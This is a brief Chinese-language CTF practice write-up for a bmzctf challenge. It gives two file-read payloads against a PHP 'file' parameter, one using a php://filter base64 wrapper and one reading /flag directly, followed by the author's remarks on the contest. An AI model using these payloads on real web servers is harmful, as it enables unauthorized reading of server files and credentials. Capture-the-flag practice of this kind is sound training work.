bmzctf 刷题记录 zonghe

bmzctf 刷题记录 zonghe

PS:终于不是开局一坨代码了🎉️
PS:这道题有两种解法。。。。第二种应该是非预期

解法一 （文件读取+伪协议）

点击登录，注意传参

file=文件读取

payload：

file.php?file=php://filter/convert.base64-encode/resource=/flag

一发入魂，不解释

解法二

payload：

file.php?file=/flag

无语，就tmd无语
说着是综合，结果就这

今年的强网杯打的真伤😔
还是自己太菜了